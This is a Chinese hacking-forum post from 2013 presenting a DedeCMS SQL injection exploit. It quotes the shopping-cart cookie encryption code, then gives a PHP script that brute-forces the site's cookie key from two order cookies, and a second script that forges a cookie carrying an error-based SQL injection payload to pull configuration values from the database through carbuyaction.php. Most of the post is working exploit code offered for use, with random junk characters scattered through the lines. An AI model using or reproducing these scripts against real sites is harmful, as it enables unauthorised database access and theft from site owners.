找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2017|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=
  {+ E; {  h! P) ^6 D" ]" F在 include/shopcar.class.php中+ I& t( F5 g  m! ]0 _6 T
先看一下这个shopcar类是如何生成cookie的
5 K( B: t- {( a9 K; v+ t  M& ?239      function saveCookie($key,$value)( {' L/ Q0 F9 N  Y& k1 y
240      {9 p% F. x1 b; Q, V9 G
241          if(is_array($value))) S( `9 }: m3 ]8 {% ~5 g
242          {" T' q# K  d) I2 z8 k& m3 V
243              $value = $this->enCrypt($this->enCode($value));
1 R3 D' Z7 o4 a& D+ I4 n3 f* w3 x% p244          }
( T6 m9 K9 r7 e! o8 |. ^245          else$ Y* P# J, t8 g& @' M
246          {4 w1 n+ `! x7 [3 e, {( q) B( r
247              $value = $this->enCrypt($value);1 t8 ]4 u( y3 Y: t/ e4 H, @3 z
248          }
7 K& z$ h2 y% a2 l' X249          setcookie($key,$value,time()+36000,’/');7 A' T* @  Q  D8 l- p3 v$ d5 C
250      }
- `, l1 q, J* w) f& N简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
) [$ U# P  }9 T8 @6 K& F186      function enCrypt($txt)8 {2 O) L: A: ?5 |
187      {( H5 v; }6 f  U& d5 r
188          srand((double)microtime() * 1000000);! \) a" A; t: K+ U
189          $encrypt_key = md5(rand(0, 32000));. @+ t) q7 K! ~3 o/ D# H( H
190          $ctr = 0;
, z% Y7 |3 p' u+ K) k$ x6 i* \191          $tmp = ”;
3 {% c! Y! u4 R3 ?* U192          for($i = 0; $i < strlen($txt); $i++)" J" K% s/ c# v4 T% T; V
193          {, N5 B9 B( f# b' l2 v
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;; Y7 R9 M1 G+ s4 t- T
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);! f4 `  f2 P, h& T9 `- I
196          }
( d3 L2 r9 @( }! n197          return base64_encode($this->setKey($tmp));
6 v. T6 f) H3 O198      }8 v, H0 A" e) r$ Z9 F/ a$ T5 o
213      function setKey($txt)2 T% `7 Z- i0 i5 E( f6 z3 @
214      {
# M$ D4 f. P- t3 Y6 b7 U215          global $cfg_cookie_encode;
6 [. s8 O( g$ j- j7 t1 _6 p216          $encrypt_key = md5(strtolower($cfg_cookie_encode));) _) O, l- `& O
217          $ctr = 0;
& }1 y* i+ W/ _218          $tmp = ”;
3 v0 C; c! A7 g219          for($i = 0; $i < strlen($txt); $i++)
0 `% C7 z! Y  }7 e0 _0 j3 V; J  ^220          {
3 u* i9 [  ~8 w9 P3 Y$ R; K221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;' Y. g+ e- P5 K. y
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
) N% h/ I# W3 ?, d1 H223          }
0 X+ h- s' Y) N$ V  w1 Q# ~224          return $tmp;
, A8 y) N; r6 |* k$ f225      }. u1 i: \+ z8 s3 _! `& |' j! R
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
% W+ B' \4 g6 W, `9 M$ ?然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。, R+ c& q+ P+ q( S- k- w# o# `2 k9 P
具体代码如下:9 A, @* i5 Z4 X' E: x! `' M2 C
<?php5 T9 g( b2 s" L
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
- H9 z# p% `- |! b+ P% t/ x  o$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
) B& f! v  J# x- j7 b$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here: r0 I( Y+ E8 X3 ?" @, Z1 |
function reStrCode($code,$string)9 S3 q3 g' C7 K$ ?' I/ m7 a
{, k0 P! s( \5 b, V! L$ t- c
$code = base64_decode($code);
2 r" [' [- ?9 A( t  U$key = “”;) n5 I7 ?/ B3 P( d
for($i=0 ; $i<32 ; $i++)
( E7 [3 k# b; M. p( K/ i( z7 C{* f# O$ Q  X/ O/ R. M
$key .= $string[$i] ^ $code[$i];
% T7 M' n8 A4 N0 Q* W}1 N: V  j* s0 G6 I2 a: R
return $key;
! O3 j" w' ~& U/ a}* H% ^: B1 f4 K; m
function getKeys($cookie,$plantxt)
! E7 ^7 Y; _2 Q4 s9 m{% N1 [/ Y# ^1 ?5 P/ l
$tmp = $cookie;
1 }& |& }, s/ p  ~& V0 C4 H$results = array();, x% X" c7 s; n# v% h
for($j=0 ; $j < 32000; $j++)
0 }& b1 k4 V% s5 r' k: U{
+ Q; _- {7 j2 o4 {/ s  N/ F, S6 J- H
& p% r8 C9 R/ ]6 C$txt = $plantxt;
0 X3 w- s2 t% }$ @! z1 w$ctr = 0;8 @& i. |$ p2 `9 P+ h, L; h
$tmp = ”;  \2 W! w6 R1 {& ]
$encrypt_key = md5($j);/ F: d2 |7 o: Q& L+ }
for($i =0; $i < strlen($txt); $i ++)
2 n) j& l- G! T2 ?' T{) g9 n* ]& F0 b* I
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 f$ E" u& \1 Z, z; y8 e3 w1 x$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
; T" _9 o3 `8 n# T1 w}
9 M5 z2 K0 ~- L! y3 L/ d$string = $tmp;0 G! v7 t+ s( B2 n* d$ k% o
$code = $cookie;
- h! S1 i$ r. q; N1 Z6 k/ r  b9 f4 e7 ?$result = reStrCode($code,$string);. Q# t/ _3 F, [: i5 N
if(eregi(‘^[a-z0-9]+$’,$result))( ^4 u, U- L. a& ]
{
. |  ?9 e! x& h: I9 S, \1 z( L( ~( cecho $result.”\n”;
) g. u2 E" s' C0 l6 T+ I4 v$results[] = $result;  K  e1 \/ `: I$ S; c/ |
}' G: r: e, [' O2 v/ |) m% p( \
}( V. m6 L: y& ?9 b
return $results;
/ b* Y* Q6 i2 J6 P6 b}
  k! x! A8 o! a% k$results1 = getKeys($cookie1,$plantxt);8 }/ W, B7 W  f- N2 ?; G/ ^& d
$results2 = getKeys($cookie2,$plantxt);) v# e! j$ Y" w6 k
print “\n——————–real key————————–\n”;+ Q. {+ }( ~0 x2 Y* d6 C
foreach($results1 as $test1)2 m3 @" G/ h& J, A
{& j! m# N3 b' ~# p5 \1 G$ ~! ?% X$ E0 }
foreach($results2 as $test2)
9 d1 d  N" F5 n: }; i{4 H& W- r! |, w8 Y: O" e& j  ^: u
if($test1 == $test2)- S% c& f6 c' [% n3 f
{
5 f! G/ @. H0 oecho $test1.”\n”;
- N* N. t) G! P- J7 \1 ]$ l1 a}. c+ J' e5 p0 Z$ O. f
}
4 E) V3 k* V* D/ S& t5 p4 ]1 x}/ _( M! ?9 i9 P4 a
?>
1 X  \$ h. e+ pcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
  ~: R( Z& Q: B1 r6 m' {( ?plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
, {/ Y  A+ Y$ O* G, E然后推算出md5(strtolower($cfg_cookie_encode))
1 ]! G  l/ V$ n3 [; ?9 y得到这个key之后,我们就可以构造任意购物车的cookie% y3 N: e' V( c/ ?: U0 F) n; N
接着看( d7 X9 U% \+ N1 a4 L: R+ @- U/ ?5 _
20  class MemberShops
; ~- s1 C, y, g. F' q( `$ a! Q21  {
5 B: y1 i1 ?; h% K4 D2 u22      var $OrdersId;! X2 F5 M, u) G  h  Q* U! f
23      var $productsId;
% t2 q& j1 Z+ t: E" P" C& G! \0 m240 s4 n1 E6 J# _6 O* a* [
25      function __construct()6 G2 Q0 M% A8 l" Q/ b/ U, S
26      {
; D7 i. X/ J/ u27          $this->OrdersId = $this->getCookie(“OrdersId”);$ q1 W5 I( [" k6 r, p4 g
28          if(empty($this->OrdersId))9 F  o# g3 \- u; N, c
29          {5 l; B2 H9 M& ?& t& m
30              $this->OrdersId = $this->MakeOrders();
6 r# s! U. d& K31          }
6 _3 L: a# P( ~- ]7 R; Q; B32      }! t  }* q0 |) g; ~- K& e/ c6 n3 y/ F
发现OrderId是从cookie里面获取的
: s7 q; y/ Z, A8 a2 r5 ~5 L然后% N& W: w! T& d7 {/ c- I
/plus/carbuyaction.php中的- _- o/ ]/ n  c1 O' c7 R+ g/ t4 h
29      $cart    = new MemberShops();
6 f2 Q; y0 v% j7 z1 e& h39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
/ N$ j( [! j) ~: G+ z# {3 o1 z$ S3 Y……
! }: p1 i' q, A9 Y3 h173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);/ \# @! X1 y8 n
接着我们就可以注入了6 m9 @1 a$ E+ l6 y  F) N
通过利用下面代码生成cookie:: |+ Y7 I3 \+ @! l/ g
<?php% f7 u0 d$ I) R/ Y, D. x: _
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;! n; o8 u8 \2 R6 P* [6 ^: I+ f
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
/ m1 L; @' S( o# b7 c( A) |$ ifunction setKey($txt)* W- |2 T* S& P+ T' G$ ]# X
{* b1 f6 [3 w: A* Q3 W1 g$ o7 w5 P
global $encrypt_key;
# Z( C! s  C3 ?4 ?. [$ctr = 0;
3 f4 X' p% ]4 c0 J$tmp = ”;
: |+ |' r) t# V$ @/ pfor($i = 0; $i < strlen($txt); $i++)
9 G# O2 I$ s2 A' l{
0 ^0 t6 ]. L1 P* J4 H8 d% `4 }$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;& ]/ h7 W8 N( Z  ?8 R2 Z
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
, m- b* p7 |9 Z; l: m! F3 x}
9 m. T: g4 z) `, ]' k$ ^8 h; t0 Areturn $tmp;
6 v% Y, N& |; E: U* ^; ^}7 P; \: r8 M  m2 b' p) W2 b' w* n
function enCrypt($txt). o9 Y) [' d/ A8 {. Z4 ]
{5 v1 a+ {% x5 @/ n- Y
srand((double)microtime() * 1000000);
# A" U3 L) O$ }$ S: O$encrypt_key = md5(rand(0, 32000));8 P6 E' r( {6 S
$ctr = 0;: U' i( Z5 [% e. V: U
$tmp = ”;
4 [# u' T* k9 ffor($i = 0; $i < strlen($txt); $i++)- m  s4 m- X% k; ~5 X9 Q: M7 J) K
{. X( D" q0 `# ?3 p' J
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
) z, C% Z1 k* L$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);6 w; Q* A) q3 r
}
) t0 k5 S% {- o, N* }return base64_encode(setKey($tmp));2 l2 W* t9 m9 b( T& B# C  |4 R; o
}$ }0 i8 h' X$ `/ V8 n
for($dest =0;$dest = enCrypt($txt);)$ z0 ]5 N5 V8 a
{. o( I+ L9 ~% R% T' |. w. e
if(!strpos($dest,’+'))
2 }4 x. t- g( ~# S6 L{6 k: c6 ^; X7 }; Z
break;
7 C) Z: e/ i& a7 A}
" {; n% U' ~5 G' B6 \}
4 A7 A7 @+ {8 U0 D* [9 C/ f. M) j, Qecho $dest.”\n”;- Y' M3 z2 y1 @
?>
2 J, Z$ l8 \, m0 |0 a. D- B: F$ c$ U) G! u# Z/ I/ \4 a3 {, D  i+ C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表